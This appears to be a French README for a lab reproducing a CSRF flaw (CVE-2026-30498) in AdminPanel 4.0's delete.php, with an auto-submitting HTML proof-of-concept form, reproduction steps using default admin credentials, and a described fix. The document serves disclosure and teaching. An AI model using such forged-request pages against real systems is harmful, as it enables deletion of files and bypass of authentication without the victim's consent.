CVE-2026-30498 – Vulnérabilité CSRF (AdminPanel 4.0)

---

Vue d'ensemble

ID CVE : CVE-2026-30498 (Réservé par MITRE)
Découvreur : Mehdi Ben Hamou

Une vulnérabilité de falsification de requête intersite (CSRF) existe dans le point de terminaison delete.php d'AdminPanel 4.0.

Cette vulnérabilité permet à un attaquant de déclencher des actions sensibles (suppression de fichiers) au nom d'un utilisateur authentifié sans son consentement.

---

Détails techniques

La vulnérabilité est causée par l'absence de protections CSRF :

• Aucune validation de jeton CSRF
• Aucune validation Origin / Referer
• Action sensible exposée via requête GET
• Aucune vérification de l'intention de l'utilisateur

Le point de terminaison vulnérable traite les requêtes directement en fonction de la session de l'utilisateur sans valider la source de la requête.

---

Impact

Une exploitation réussie conduit à :

• La suppression de verifyPanel.php
• Un contournement de l'authentification
• Le passage de l'application en mode configuration
• Une réinitialisation complète du système possible

---

Version concernée

• AdminPanel 4.0 et versions antérieures (projet archivé)

---

Scénario d'attaque

Un attaquant héberge une page web malveillante qui envoie une requête falsifiée :

http://localhost:8080/delete.php?file=verifyPanel.php

Lorsqu'une victime (utilisateur authentifié) visite cette page, le navigateur inclut automatiquement les cookies de session, et la requête est exécutée.

---

Preuve de concept (PoC)

Page malveillante (attaquant)

<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
  <input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
  document.getElementById("csrfForm").submit();
</script>

Cette requête est automatiquement envoyée avec le cookie de session de la victime.

---

Étapes pour reproduire

1. Démarrer le serveur victime :

php -S localhost:8080

2. Accéder à la page de connexion :

http://localhost:8080

3. Se connecter avec :

admin / admin123

4. Ouvrir la page de l'attaquant :

http://localhost:8081/evil.html

5. Lancer l'attaque CSRF
6. Revenir au tableau de bord :

/panel/dashboard.php

---

Ce qui se passe en interne

1. La victime se connecte → un cookie de session est créé
2. La page de l'attaquant envoie une requête falsifiée
3. Le navigateur joint automatiquement le cookie
4. Le serveur exécute la suppression sans vérification
5. Le système détecte le fichier d'authentification manquant
6. L'application passe en mode configuration

---

Environnement de laboratoire (simulation pédagogique)

Ce dépôt comprend un environnement de laboratoire contrôlé pour reproduire la vulnérabilité en toute sécurité.

Important : Ce laboratoire est une simulation et ne représente pas exactement le code source original d'AdminPanel.

Réinitialiser le laboratoire

Pour réinitialiser l'environnement :

/reset.php

---

Version corrigée (atténuation)

Une version sécurisée est implémentée dans :

delete_fixed.php

Protections ajoutées :

• ✅ Validation du jeton CSRF
• ✅ Méthode POST uniquement
• ✅ Validation Origin / Referer
• ✅ Validation de session

---

Pourquoi le correctif fonctionne

• L'attaquant ne peut pas accéder au jeton CSRF (politique de même origine)
• Les requêtes falsifiées ne disposent pas d'un jeton valide → rejetées
• Les requêtes intersites sont bloquées via la vérification Origin

---

Structure du projet

victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
    └── dashboard.php

attacker/
└── evil.html

---

Avertissement

Ce projet est destiné uniquement à des fins éducatives et de recherche.
N'utilisez pas cette vulnérabilité sur des systèmes sans autorisation appropriée.